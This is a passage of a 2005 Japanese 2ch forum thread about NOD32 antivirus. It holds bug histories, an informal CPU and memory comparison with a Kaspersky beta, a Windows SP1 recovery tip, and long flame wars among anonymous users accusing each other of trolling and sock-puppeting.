内容がない理由説明たのむよ。

572 :名無しさん@お腹いっぱい。:2005/12/19(月) 03:20:41
ただの逃げ口上に理由を求めるのはムダだよ。

573 :名無しさん@お腹いっぱい。:2005/12/19(月) 03:22:55
主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
http://canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
http://canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
http://canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
http://canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
http://canon-sol.jp/supp/nd/wndt4212.html

574 :名無しさん@お腹いっぱい。:2005/12/19(月) 03:29:46
反応がつまらんw

575 :名無しさん@お腹いっぱい。:2005/12/19(月) 03:59:27
> 2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
リリースすらされていないことを問題にされてもなぁw

> レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
環境によってブルースクリーンにはなったがレジストリは破壊されてないよ。
嘘はよくない。

> 登録済みのアプリケーションが強制削除される問題
NOD32 2.000.8をアンインストールすると、アンインストール情報のレジストリが削除されるだけのこと
登録済みアプリケーションは削除されないよ。
嘘はよくない。

> 通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
Windows2003 sp1に未対応のバージョンのことを問題にされてもなぁ。
いまだにsp1が原因でトラブルが続いているSQLServerのほうを何とかしてくれ。
これ、結構致命的で大変なんだよ。

> スキャンすると受信メールの全部が削除される問題
>>557

> Windowsアップデートができなくなる問題
その当時はMSによりUPDATEソフトが刷新され多くのトラブルが発生していたからなぁ。
NOD32固有の問題とされるのはちと納得できないな。
> ttp://support.microsoft.com/kb/884101/ja/#XSLTH4240121121120121120120



576 :名無しさん@お腹いっぱい。:2005/12/19(月) 04:10:04
>>575
>いまだにsp1が原因でトラブルが続いているSQLServerのほうを何とかしてくれ。
これはさすがに話を逸らしすぎ。

577 :名無しさん@お腹いっぱい。:2005/12/19(月) 04:25:31
NOD32は最高なのだよ。
いい加減この揺るぎない事実を認めたまえ!!

578 :名無しさん@お腹いっぱい。:2005/12/19(月) 04:39:55
>>576
いや、そうでもない。
サービスパックはそれぐらい危険を伴うということを理解して欲しかっただけ。
対応バージョンで問題が発生するのならあれだが、未対応バージョンのことを鬼の首でも取ったように吹聴されても困るからね。
ましてsp1はサービスパックの初期バージョン、多くの問題に対応すべく多くの改造や仕様変更がなされていることは容易に想像できる。

>>577
つまらんw
お前はもう黙ってろ、このタコ!

579 :名無しさん@お腹いっぱい。:2005/12/19(月) 06:14:46


自演王国 免許皆伝(・∀・)




580 :名無しさん@お腹いっぱい。:2005/12/19(月) 06:18:44
トラブルの多いソフトは勘弁してもらいたいですね(^_^;)

581 :名無しさん@お腹いっぱい。:2005/12/19(月) 06:26:26
今日も自治厨の自演が凄まじいなw

一体何時間へばりついているのか甚だ不明である。

582 :名無しさん@お腹いっぱい。:2005/12/19(月) 06:30:55
統合にみえてくる

583 :名無しさん@お腹いっぱい。:2005/12/19(月) 06:32:58


自治厨=雑音=NOD厨(=´ω`=)y─┛~~




584 :名無しさん@お腹いっぱい。:2005/12/19(月) 14:34:21
なんか、こんな話題ばっかりですね

585 :名無しさん@お腹いっぱい。:2005/12/19(月) 14:50:07
NOD32もv2.50になってから安定しているので新しい話題がないのよ。
昔から居着いている荒らしのほうもネタ切れのようで、最近はノートンまで持ち出す始末。
雑音叩きも、そろそろ叩いている側だけが嫌われる状況のようで、今は自治厨という意味不明な叩きを展開中。
まぁ、平和ってところだ。

586 :名無しさん@お腹いっぱい。:2005/12/19(月) 15:26:52
100 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/19(月) 02:47:02
AthlonX2(WinXP SP2)で動いてる人いる?
インスコできるけど、定義が反映されなかったり、
Win起動時にアンチウイルスが起動しなかったり(NOD32)、
ものすごく挙動がおかしいんだが。

587 :名無しさん@お腹いっぱい。:2005/12/19(月) 16:33:11
>>585
お前が自治厨だろうにw
いい加減自演をやめたらどうだ?w

588 :名無しさん@お腹いっぱい。:2005/12/19(月) 16:37:06
と、荒らしが因縁を吹っかけています。
585さんは災難ですね。

589 :名無しさん@お腹いっぱい。:2005/12/19(月) 17:06:25
うぁなんつー即レス
へばりつき具合も粘着そのものだな
常駐監視乙w

590 :名無しさん@お腹いっぱい。:2005/12/19(月) 17:08:39
↑負け惜しみ

591 :名無しさん@お腹いっぱい。:2005/12/19(月) 17:17:14
今北。で?
3行でまとめて


592 :名無しさん@お腹いっぱい。:2005/12/19(月) 19:24:09
はぁ?

593 :名無しさん@お腹いっぱい。:2005/12/19(月) 21:20:13

         ,,-‐----‐、 , -'"` ̄ ̄"`''-,__, --‐‐-..,
        /  、゙ヽ、 ‐-'´          ヽ‐- / /   ヽ
      ,/´ .., ヽ,,l_),'              '、,ト/ /    ヽ
     /    ヽ,r' l      .,、z:ュ、,_.  ,、=,゙.-〈__r,'、   ヽ_
    _.l    ヽ」   , l.     ´ ,r'ャ、`' i'rャ;|    ゙‐ヽ、_,,  /l
    ,l l|  −'´ll  ,ll ヽ.      ''`¨¨´   ヽ |    .,//゙l   //\
    l`l|     l|ヽ  ヽ 入        ,ィ _.  ', l    |l    //   }
   l  \    l| ,l  ヽ_.      ' `'゙`'‐'i゙ ,'    |,l   //    l   NOD最高!!!!
   /   '\   l|`l   l ヽ`'.    ,∠.ニフ /    l ヽ //     |
  ,l     '\ l| .lヽ_l ` 、 、   い.... ,' /___/ |  ∨/      ,}
  |       ヽl |    ,| .ヽ', .ヽ`二フ.,' ヽ     ,|          ,l
  |          l    ,l   ' .、,_`,.ィ  l \           /
  ヽ          |   \.    ヽ/    l  ヽ         /j
    \        /     ヽ    ヽ  |   l          /
     ゙l\..     /      ヽ     ヽj   |    ,    /
     ヾ              ヽ     ヽ   ヽ  /    ,l
      ヽ、             ヽ     l   } /    ,r
        ヽ             ヽ     |  /′ ,,...''
        `'':..、  ___ ___,..-..   |,    ,l ,  :..-‐'"´
            ̄ /lr‐‐‐'--、_.....  l_,..-'''""'- "


594 :名無しさん@お腹いっぱい。:2005/12/19(月) 21:23:24
( ゚д゚)ポカーン

595 :名無しさん@お腹いっぱい。:2005/12/20(火) 01:43:19
              〜    
    バサッー バサッー
   ◇       ミ ◇
   ◇◇   / ̄|  ◇◇
 ◇◇ \  |__| ◇◇
    彡 O(,,゚Д゚) /    荒らしを祓いたまえー スレを清めたまえー
       (  P `O
      /彡#_|ミ\
       </」_|凵_ゝ

596 :名無しさん@お腹いっぱい。:2005/12/20(火) 01:46:18
アマゾンで注文しますた。

597 :名無しさん@お腹いっぱい。:2005/12/20(火) 02:37:40
1.1328

598 :名無しさん@お腹いっぱい。:2005/12/20(火) 02:43:49
荒らしって死語ですよ


599 :名無しさん@お腹いっぱい。:2005/12/20(火) 03:01:23
いえてるニダ

600 :名無しさん@お腹いっぱい。:2005/12/20(火) 03:10:59
NOD32マンセーってことで

601 :名無しさん@お腹いっぱい。:2005/12/20(火) 03:16:45
プロの道具(ツール)をご家庭で。

602 :名無しさん@お腹いっぱい。:2005/12/20(火) 03:20:07
※タ〜′シ炉マンセー

603 :名無しさん@お腹いっぱい。:2005/12/20(火) 03:32:05
Nodpad≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫≫NOD

604 :名無しさん@お腹いっぱい。:2005/12/20(火) 03:37:50
个个个个个个个个个个个个个个个个个个个个个
庁ウケルwww

605 :名無しさん@お腹いっぱい。:2005/12/20(火) 03:52:12
やっぱ夜中はキチガイが常駐してるんだな・・・・マジキモイ。
朝6時ごろまでひとりでカキコですか?プ

606 :名無しさん@お腹いっぱい。:2005/12/20(火) 04:00:14
おまいも、常駐多発すなよ
(・∀・)つ>>605○┏┛焼却炉┗┓

607 :名無しさん@お腹いっぱい。:2005/12/20(火) 04:08:47
>>605
よーく考えよ おまいが上げただろうwww

608 :名無しさん@お腹いっぱい。:2005/12/20(火) 04:22:04
NODかわいいよNOD

609 :名無しさん@お腹いっぱい。:2005/12/20(火) 04:22:18
この時間帯は、外駐なんじゃねの〜?
マイナーだからな。

610 :名無しさん@お腹いっぱい。:2005/12/20(火) 04:27:24
>>605
世の中は、広いんだよ
俺がせっかく伊太利亜からカキコしにきてるって
のによ まったく失礼だぜ・・・

611 :名無しさん@お腹いっぱい。:2005/12/20(火) 04:47:38
精神が病んでるな。

612 :名無しさん@お腹いっぱい。:2005/12/20(火) 04:50:35
今起きたお(´・ω・`)

613 :名無しさん@お腹いっぱい。:2005/12/20(火) 05:08:38
頭がこんがらがってるわ
ノートンアンチウィルスだけどいま期限切れてそのままになってる。

614 :名無しさん@お腹いっぱい。:2005/12/20(火) 05:14:29
NOD32最高です

615 :名無しさん@お腹いっぱい。:2005/12/20(火) 05:29:31
アア凵アアσ 相楽ないじゃん

616 :名無しさん@お腹いっぱい。:2005/12/20(火) 05:54:15
他とのまぐわりはどうなん???
あくまで・・・・サブに撤するの。。。

617 :名無しさん@お腹いっぱい。:2005/12/20(火) 06:00:55
∽鬼門に這入ったな∽

618 :名無しさん@お腹いっぱい。:2005/12/20(火) 06:07:42
( ( ( ( ( (゚∀゚) ) ) ) ) )菊門

619 :名無しさん@お腹いっぱい。:2005/12/20(火) 07:54:41
まだこのキチガイ荒らしいたんだ。
ざっと2、3年粘着してるのかな、頑張るね。

620 :名無しさん@お腹いっぱい。:2005/12/20(火) 08:45:35
( ・∀・)アヒャ 朝から必死ですね
便乗も計算いれとくように
妄想激しそうニダ(笑

621 :名無しさん@お腹いっぱい。:2005/12/20(火) 12:31:57
ここでノッドさんから一言↓

622 :名無しさん@お腹いっぱい。:2005/12/20(火) 13:27:49
おまえらみたいなヴァカどもにはもう買ってもらわなくて良いよ。

623 :名無しさん@お腹いっぱい。:2005/12/20(火) 16:01:30
昨日の朝に送った検体がもう対応されてる。
Esetって対応が早いね。
どこかの会社とは大違いw

624 :名無しさん@お腹いっぱい。:2005/12/20(火) 16:22:35
>>623

つ1.1329 (20051220)

625 :名無しさん@お腹いっぱい。:2005/12/20(火) 16:38:38
>>623
> どこかの会社とは大違いw

具体的に名前を挙げると叩かれるので、今度は遠回しにノートンを煽るやり方に変えたか。
ネタ切れで頭の弱いお前にはこのくらいしか考えつかんのだろうな。


626 :名無しさん@お腹いっぱい。:2005/12/20(火) 16:42:17
やみくもにノートンを煽る馬鹿>>623は、NODユーザーではなくただの荒らし。

627 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:05:33
>>625-626
被害妄想ひどいぞ

628 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:07:10
被害妄想を使った荒らしだろw
まぁ、それでも>>623も大人気ないかな。
最後の行はモロ煽りだし不要だよ。

629 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:07:31
自治厨によって荒らしが増えていくという悪循環
こいつの被害妄想はもう手に負えんな

そして後はお決まりの自演が始まるw

630 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:12:32
>>625
常駐監視毎度ながらご苦労さんw
ほんと素晴らしい自治ぶりですね、馬鹿?www

631 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:15:28
283 名前:カスペルスキーのファン[] 投稿日:2005/12/20(火) 17:10:50
私も東京だったら会見にいってみたかったです。
面白い話(雑談)とかきけたのかな?

632 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:25:34
荒らしによる投稿。
>>631
>>630
>>629
>>625

それにしても自演が酷いな。
程度が低いから直ぐに分かるので困らないけどな。


633 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:37:49
ここはなんで荒れだすんだろ?


634 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:38:20
>>632
被害妄想ひどくない?だいじょうぶ頭?
見えない敵と闘うのは夢の中だけにしておきなさい。

635 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:42:43
いや、見えない敵と言われてもなぁ。
荒らしと断定できるだけの要素があるしょ?

ここ最近になって、ノートンを使っての荒らしが横行し、その後は自治厨を使う荒らしに変貌。
これは誰が見ても簡単に分かることだから、荒らし以外はそれを避けるでしょうよ。
>>632で「程度が低いから直ぐに分かる」といってる意味ぐらい理解して欲しいね。

もちろん>>634が(以下省略

636 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:46:59
他のソフトとの比較をやめる
他のソフトのスレへの侵略をやめる

これだけで大幅に荒らしは少なくなると思う

637 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:49:30
> 他のソフトとの比較をやめる
やめる必要なし、但し煽るのは禁止
もっとも、煽っているのは荒らしだけ。

> 他のソフトのスレへの侵略をやめる
これやってるのは荒らしと星猫だけ。

>>636さん、ちゃんとスレの進行を読んでる?

638 :名無しさん@お腹いっぱい。:2005/12/20(火) 17:59:41
>>637
読んでるよ?
何で他との比較をしなきゃいけないの?
どこにそんな必要性がわるわけ?
客観的に見て荒れるのはわかってるんだからやめたらいいと思うよ
それでも続けるなら荒らされても文句は言えないと思うがね


639 :名無しさん@お腹いっぱい。:2005/12/20(火) 18:09:00
>>638
他との比較がないと、性能の違いや評価ができないでしょ?
例えば、>>484さんがKAV6.0βとの比較をアップしてくれる予定になってる。
これなんか有意義だし、禁止する必要はないよ。

それに、荒れる荒れると君は騒いでいるけど>>637にも書いてるように荒らしの自演自作。
君の投稿は、その荒らしに荒らしていいよとお墨付きを与えているだけ。

それぐらい分かれよ。

640 :名無しさん@お腹いっぱい。:2005/12/20(火) 18:27:49
>>639
お前は馬鹿ですか?
なんだかんだ御託並べたところで現状荒れてるのは紛れも無い事実だろ
それらの原因となってるものを改善しなきゃいつまでたっても荒れたままだよ
荒れる元のネタを抑えるようにしなきゃ、どんだけ言っても荒らしは食いついてくる
そんなこともわからんの?
別にここがどんだけ荒れても俺はどうでもいいわけだが、客観的な意見を述べたまでだよ

641 :名無しさん@お腹いっぱい。:2005/12/20(火) 18:31:46
>ここがどんだけ荒れても俺はどうでもいいわけだが
ぷぷ、逃げ道を作ってますね?

642 :名無しさん@お腹いっぱい。:2005/12/20(火) 18:37:27
m9(^Д^)プギャーーーッ

643 :名無しさん@お腹いっぱい。:2005/12/20(火) 18:37:56
>>640
どこが客観的なのかな?
ノートンやら自治厨やらを使って荒らしている事実を無視ですか?
そして、他スレの投稿を見てもNOD32ユーザーを装った荒らし投稿であることも明白なのに、それも無視ですか?
NOD32ユーザーはここに粘着して荒らしている奴よりずっと知識も豊富でまともだよ。
それも分かりませんか?

君の言い分は、荒らしのそれと同じレベル。
もちろん、だからと言って荒らし君だとは言いませんけどねw

644 :名無しさん@お腹いっぱい。:2005/12/20(火) 18:54:06
×他スレの投稿を見てもNOD32ユーザーを装った荒らし投稿であることも明白
○他スレの投稿を見てもNOD32ユーザーを装った雑音による荒らし投稿であることも明白

645 :名無しさん@お腹いっぱい。:2005/12/20(火) 19:02:40
雑音にこだわってるヤツって同一人物だろきっと?
気持ち悪いヤツだよなぁ・・・・
雑音なんてとっくにいなくなってアンタが追いかけてるのは幻影に過ぎないんだよ。

646 :名無しさん@お腹いっぱい。:2005/12/20(火) 19:13:18
どうしてそんなことがわかるんだろw

647 :名無しさん@お腹いっぱい。:2005/12/20(火) 19:36:12
過去の投稿見てれば誰でも簡単に分かるじゃんw

648 :名無しさん@お腹いっぱい。:2005/12/20(火) 19:44:31
>>633
このスレというか。セキュリティ板自体が荒れやすい傾向にあるかと

649 :名無しさん@お腹いっぱい。:2005/12/20(火) 19:52:48
まあみんなNOD32使ってろってこった

650 :名無しさん@お腹いっぱい。:2005/12/20(火) 20:12:23
おれもいまじゃ熱狂的なNODユーザーだが、以前は、そう、2000〜2004までバスター使いだった。
何の疑問もなくそんなものだと思い使い続けてた。
あの事件があるまでは。
そして、他スレでガンガン宣伝されてたNODに興味を持って調べて、そして・・・・・
/チラシの裏 終わり/

651 :名無しさん@お腹いっぱい。:2005/12/20(火) 20:20:41
人生オワタ \(^o^)/

652 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:05:24
×他スレの投稿を見てもNOD32ユーザーを装った雑音による荒らし投稿であることも明白
○他スレの投稿を見てもNOD32ユーザーの雑音による荒らし投稿であることも明白

雑音=NOD32ユーザー。
誰も騙されない工作>>644投稿を、何度もしつこく繰り返すなよ、キチガイ電波(雑音)。

【軽快動作】NOD32【アンチウイルスソフト】
http://pc8.2ch.net/test/read.cgi/sec/1112351342/
>482 名前:雑音 p84bef5.osaknt01.ap.so-net.ne.jp [sage] 投稿日:2005/04/25(月) 10:45:08
>連絡事項
>
>NOD32をWindows Server 2003 で使っているユーザーへ
>現在sp1をあてると通信不能となり最悪な状況下だと、リブートの繰り返しとなりますから注意してください。
>開発元で、現在対策バージョンを作成中とのことです。
>リブートの繰り返しとなった場合の処置
>sp1を削除すると正常な状況となります、起動後直ぐにリブートされますから通常起動では削除が困難です。
>セーフモード+コマンドプロンプトを選択して起動し、コマンドプロントからエクスプローラを起動するとタスクバーが
>現れますので、コントロールパネル・アプリケーションの追加と削除を選びsp1を削除してください。
>尚、エクスプローラはコマンドプロンプトで「explorer.exe」と打ち込むと起動されます。
>
>追伸
>ここに住み着く粘着荒し自身が自演自作で荒し続けていますが無視してください。
>もちろん、荒らしているのは私ではありません。
>緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。

653 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:12:49
また基地外節が始まった、やれやれだな。

654 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:16:31
雑音より基地害のほうが最悪>>652キモイ。

655 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:20:13
雑音=基地害

656 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:24:56
自治厨の特徴として

・他ソフトの比較を激しく嫌う(明らかにNODユーザーと分かる場合でも、激しく罵詈雑言を与える)
・自分の発言を擁護する自演粘着、常駐監視
・精神分裂気味、被害妄想が激しくノートンという言葉あるいは、
それを思わせる(注・他の人はまったく思わない)言葉に以上に敏感
・反論されると即荒らし認定キチガイ認定をする

が挙げられる。

今までの流れを見ると
このスレにはNODと他のソフトを比較しただけで自治厨に罵倒され
荒らしになったユーザーが多いと思われる。
いわゆる、このスレが荒れるのは若干一名の粘着自治厨が原因と思われる。

どんなスレにも荒らしはいるが、このスレ程多くは無い。


657 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:26:21
さて、そろそろ朝の8時ごろまでの基地害TIMEかな。
みんな寝るべ寝るべ。つきあってられねえ

658 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:34:47
>・精神分裂気味、被害妄想が激しくノートンという言葉あるいは、
>それを思わせる(注・他の人はまったく思わない)言葉に以上に敏感

やはりセキュリティ板を荒らしている真犯人は

× NOD使い(雑音も含む)
○ ノートン使い

なんでしょうな。

659 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:37:31
自演だらけ?で、なんだかよく分からない流れだけども、
NODの人達が無実だというのはよく分かった。

660 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:38:33
"NODの人達"に該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。

661 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:48:35
自治厨が出てこなければ全ては丸くおさまりそうだな
特にノートンとの比較が出た後の荒れ具合は最悪だ

比較が嫌なら無視すればいいのに自治厨がへばりつく
普通のNODユーザーに対しても容赦が無い
まぁ>>625->>626>>640みたいな事言われれば普通むかつくだろ
てか荒らそうとしてるとしか考えられない

ようするに自治厨は自分のポリシー(他ソフトとの比較は良くない!)の為に
結果、自治するつもりが同じNODユーザーを叩きまくり、このスレを荒らすことになっている

自治厨さえこの世から消えれば、普通に戻るだろ
ま、今度は自治厨からアンチにでもなるかもしれんが

662 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:54:02
そんなこといってるとまた自治厨が出るぞ・・・

663 :484:2005/12/20(火) 21:56:49
今日、カスペルスキー アンチウイルス5 特別優待版が到着しました。
早速インストールを行い、ユーザー登録を済ませてKAV6.0ベータ版のダウンロードを行ったのだけど、
所定の手続きを済ませたけど、ダウンロードキーが正しくありません。と出て上手くダウンロード出来ない状況です。

もう少し調べてみますが、KAV6.0ベータの報告は少し遅れそうです。

追伸
相変わらず、荒らしさんが騒いでいるみたいですけど放置で行きましょう。

664 :名無しさん@お腹いっぱい。:2005/12/20(火) 21:59:04
>>661
雑音って、何処のスレでもアンチ×××とか×××厨という造語を使うのが好きなんだな(w


インテルの繁栄とAMDの衰退 Part19
http://pc7.2ch.net/test/read.cgi/jisaku/1133783863/l50

431 名前:Socket774 本日のレス 投稿日:2005/12/20(火) 11:46:42 FB9OTJzx
>>429
同様のことは64信者にも言えることだけどな。
それに、なぜネトバ悪い面を見ていないと決め付ける?
ネトバの不利な面もあえて分かってる使ってるとしたら?
お前らアンチネトバ教の妄想がいかに激しいか、それはネトバ厨以上のものだ。
他人の使ってるモンにごちゃごちゃ抜かすなって言ってんだ。
いい加減わかんねぇの?

665 :名無しさん@お腹いっぱい。:2005/12/20(火) 22:00:52
>>664
おっといきなり出てきたな粘着
今度は(wにして自演かw

ご苦労さん、今度は荒らし以外の 比較 を罵倒しないようになw

666 :名無しさん@お腹いっぱい。:2005/12/20(火) 22:04:07
http://tmp5.2ch.net/test/read.cgi/tubo/1130566010/116

667 :484:2005/12/20(火) 22:14:58
ああ、やっと分かったよ。
KAV6.0ベータ版がダウンロードできない理由発見。
インターネットセキュリティオプションをカスタマイズしないとダメだとHPに書いてあった。
無事ダウンロードしたので、頑張ってテストしてみます。

あと、KAV6.0ベータ版は誰でもダウンロード出来るようです、買う必要なかったのか・・・
下記からダウンロードできますので、興味ある方はどうぞ。

> ttp://www.kaspersky.co.jp/beta.html

668 :名無しさん@お腹いっぱい。:2005/12/20(火) 22:16:25
報告マチ\(^o^)/

669 :484:2005/12/20(火) 22:20:15
うわー、俺ってばか。
ダウンロードしたのアンチスパムだ・・・・
これ入らんわ。
あー、なんでこんなに焦っているのか・・・なさけねぇ。
ちゃんと、KAV6.0ベータ探してきます。

笑ってやってください。

670 :名無しさん@お腹いっぱい。:2005/12/20(火) 22:28:59
そんなどうでもいいこと書かなくていい

671 :名無しさん@お腹いっぱい。:2005/12/20(火) 22:31:59
比較は比較スレでやる。
http://pc8.2ch.net/test/read.cgi/sec/1132160664/

カスペの話はカスペスレでやる。
http://pc8.2ch.net/test/read.cgi/sec/1129895815/
http://pc8.2ch.net/test/read.cgi/sec/1130503686/

常識守って2chを利用しる。

672 :名無しさん@お腹いっぱい。:2005/12/20(火) 23:04:01
と、粘着荒らしが因縁をつけています。
484さんガンバレ

673 :名無しさん@お腹いっぱい。:2005/12/20(火) 23:35:07
SpybotとSpywareBlasterを
NOD32と共存させたいのですが、
不具合等ありますか?

674 :名無しさん@お腹いっぱい。:2005/12/20(火) 23:36:51
SpybotS&Dは大丈夫 もう一個はシラネ

675 :名無しさん@お腹いっぱい。:2005/12/20(火) 23:37:12
ない。
のりかえてから1年間でトラブルなし。

676 :484:2005/12/21(水) 00:13:42
ふー、KAV6.0ベータの簡易テスト終了。

KAV6.0ベータは、噂どおりに軽い。
PFWの機能が付加されており、統合型のアンチウィルスソフトへと進化している模様。

使用感としてはNOD32と体感で殆ど同じ、これはテスト機の性能にもよるかな?
体感で殆ど変化がなかったので、system32フォルダ内をエクスプローラで移動することによるポインティングを行い、
ProcessExplorerでCPU使用率の変化と常駐監視プロセスが消費したCPU時間を計測してみた。

KAV6.0ベータはNOD32やK5が入っているとインストできない為、全てのセキュリティソフトをアンインストールし、
個別にインストールしてテストしました。

結果
KAV6.0 常駐プロセス=avp.exe CPU使用時間 1分03秒843ミリ秒 占有メモリサイズ 19,768K 仮想サイズ 113,476K
NOD32 v2.50.42 常駐プロセス=nod32krn.exe CPU使用時間 24秒515ミリ秒 占有メモリサイズ 15,236K 仮想サイズ 75,388K

一応、スペックの上ではAMONに軍配が上がったが、体感差は殆どない状況でした。

テスト機
CPU P4-2.8C メモリ 512*2(3200) HT-ON
OS WindowsXP Pro(SP2)

677 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:15:26
スレ違いですよ

678 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:17:50
と、粘着荒らしが因縁をつけています。
484さんガンバレ

679 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:19:19
>>676
なるほどねえ、おつかれさん。事後報告を待つ。
いちおう、そのカキコを見るにNODと同等ならあえて乗り換える必要性はないと思われるが如何か。

680 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:22:33
>>679
自演乙(w

681 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:25:05
やはり自治厨とやらが荒らしだったのかよ。
>>484の出してくれた比較の何が悪いのかわからん。

682 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:26:32
>>673
両方大丈夫、問題無し、俺はね。

683 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:26:46
671 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2005/12/20(火) 22:31:59
比較は比較スレでやる。
http://pc8.2ch.net/test/read.cgi/sec/1132160664/

カスペの話はカスペスレでやる。
http://pc8.2ch.net/test/read.cgi/sec/1129895815/
http://pc8.2ch.net/test/read.cgi/sec/1130503686/

常識守って2chを利用しる。

684 :484:2005/12/21(水) 00:27:59
>>679
ありがとう。

> いちおう、そのカキコを見るにNODと同等ならあえて乗り換える必要性はないと思われるが如何か。
どうかなぁ?、俺的にNOD32が気に入っているし開発思想も大好きだから乗り換えることはないけどさ。
軽さとかを気に入って使っている人ならKAV6.0が選択肢に入っていてもいいのかもな。
KAVは、NOD32より多くの書庫に対応しているから、常駐設定も高にすると書庫も対象に常駐監視されるから
そこに魅力を感じる人もいるのかもな。
まぁ、KAV6.0の日本語バージョンが出るころにはNOD32もv3になってそうだからなんともいえないけど。

素性は頗るよいと感じたよ。
次はもう少し本格的な試験をしてみるつもりです。
どうもKAVはサブストリームの検査をして無いようなので、そこらへんを詳しく叩いてみるつもり。

685 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:30:52
(;^ω^).。O( 自演おつカレー

686 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:34:00
>>685
そんなに比較が嫌なら他いけよ自治厨

687 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:36:34
> やはり自治厨とやらが荒らしだったのかよ。
正確に書かないと荒らしのネタにされるよ。

正確には、やはり自治厨を演じている奴(>>683,>>671)が荒らしだったのかよ。
荒らしの自演、お疲れさん。

688 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:36:38
自治厨は自分が主役じゃなきゃイヤなんだろうね。哀れなヤツ・・・

689 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:37:37
と、荒らしが自演中

690 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:37:51
>>687
自演乙
やってることはお前と同じ
今度はむやみに他人を叩くなよ

691 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:38:59
>>686=自治厨=自演厨=雑音=NOD厨

692 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:39:26
>>690
まともな奴なら>>687に文句は言わないよ。
文句を付けるのは自演している荒らしだけ。
なんて分かりやすい人なのよ。

693 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:40:45
比較は比較スレでやる。
http://pc8.2ch.net/test/read.cgi/sec/1132160664/

カスペの話はカスペスレでやる。
http://pc8.2ch.net/test/read.cgi/sec/1129895815/
http://pc8.2ch.net/test/read.cgi/sec/1130503686/

常識守って2chを利用しる。

694 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:41:05
>>692
今度は荒らしじゃない比較をむやみに叩かなければ良し。
いや、荒らしもスルーしてくれ。

695 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:42:28
比較もいいけど
これをいれようと思ってる人の話をきいて
いただけますか?><

公式に
>■ その他の機能
>
>インターネットから侵入するウイルスを検出 (ウェブアクセス時のウイルスチェック) 【強化】
>多くのユーザーが利用するインターネットはウイルスの侵入経路の一つです。インターネットの通信方式で利用されているHTTP通信もIMONが監視を行います。これによりウイルスを侵入の段階で検出しウイルスの感染を未然に防ぎます。

ってありますが
HTTP以外の通信(FTPとか)は監視しないんですか?
ほかのウィルス検出ソフトはHTTP以外の監視してるんでしょうか?

やっぱりFW一体型じゃないから他の監視は無理なのですか?

696 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:44:12
>>694は日本語が変なスレ主Z。

697 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:46:37
>>696
日本語変でいいから、頼むな。
俺は別に煽るつもりはないし、お前は分かりやすい。

スルーすればすむだけだよ。

698 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:48:12
BUCK-TICKのファンいますか?

699 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:48:26
>>697
自演乙w

700 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:52:02
>>695
638 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/20(火) 17:59:41
>>637
何で他との比較をしなきゃいけないの?
どこにそんな必要性がわるわけ?
客観的に見て荒れるのはわかってるんだからやめたらいいと思うよ
それでも続けるなら荒らされても文句は言えないと思うがね

701 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:53:15
>>695
638 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/20(火) 17:59:41
>>637
何で他との比較をしなきゃいけないの?
どこにそんな必要性がわるわけ?
客観的に見て荒れるのはわかってるんだからやめたらいいと思うよ
それでも続けるなら荒らされても文句は言えないと思うがね

702 :名無しさん@お腹いっぱい。:2005/12/21(水) 00:53:57
